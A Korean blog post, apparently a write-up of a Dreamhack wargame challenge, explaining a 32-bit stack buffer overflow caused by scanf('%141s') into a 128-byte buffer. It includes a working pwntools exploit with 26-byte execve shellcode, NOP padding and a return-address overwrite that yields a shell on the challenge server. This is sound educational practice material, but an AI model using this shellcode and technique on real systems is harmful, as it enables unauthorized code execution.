문제

환경 정보에서 32비트(i386) 리틀 엔디언 아키텍처에서 실행된다는 것을 확인한다.

32bit 환경이므로 스택 프레임 구조   buf(n) | sfp(4) | ret(4)  이렇게 유추할 수 있다.

 

 

 

문제 파일

buf는 128바이트(0x80)로 선언되었는데, scanf("%141s", buf)에서

buf에 128바이트를 초과한 141바이트까지 읽을 수 있도록 되어 있다. 

버퍼 오버플로우 취약점을 이용해 쉘을 얻어보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

 

 

풀이

먼저 우분투 환경에서 파일을 생성한다.

 

해당 파일을 컴파일한다.

 

실행해보면, buf의 주소가 출력된다. 하지만 이 값은 30초마다 변경된다.

 

gdb로 분석한다.

 스택 프레임 구조가   buf(n) | sfp(4) | ret(4) 으로 구성되고, ebp-0x80에서 0x80이 버퍼의 크기이므로

retutn address까지의 거리는 128(0x80) + 4 = 132바이트다.

 

 

위 내용을 통해 스택 프레임 구조를 알 수 있다.

 

따라서 페이로드는 다음과 같이 구성한다.

 

 

 

 

 

파이썬 pwntools 모듈로 exploit 코드를 작성한다.

from pwn import *

p = remote('host3.dreamhack.games',22834)
context.arch = "i386" 

p.recvuntil(b"buf = (") 
buf_addr = int(p.recv(10),16)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90" * 106
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

buf = (0x· · · · · · · ·)으로 출력되기 때문에, 'buf = ('을 없애고 buf 주소 10자리를 16진수로 받아서 저장한다.

그리고 26바이트  shellcode를 사용해야한다.

(기본 25바이트 코드를 사용했다가 한참 헤매었다. scanf 함수 때문에 꼭 26 바이트 쉘코드를 사용한다.)

132-26=106 만큼 의미없는 값을 채워주고 buf 주소를 넣는다.

 

 

 

exploit 파일을 실행하면 쉘을 얻을 수 있다.

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] basic_exploitation_001 풀이  (0) 2024.08.27
[드림핵] shell_basic 문제 풀이  (0) 2024.08.21

+ Recent posts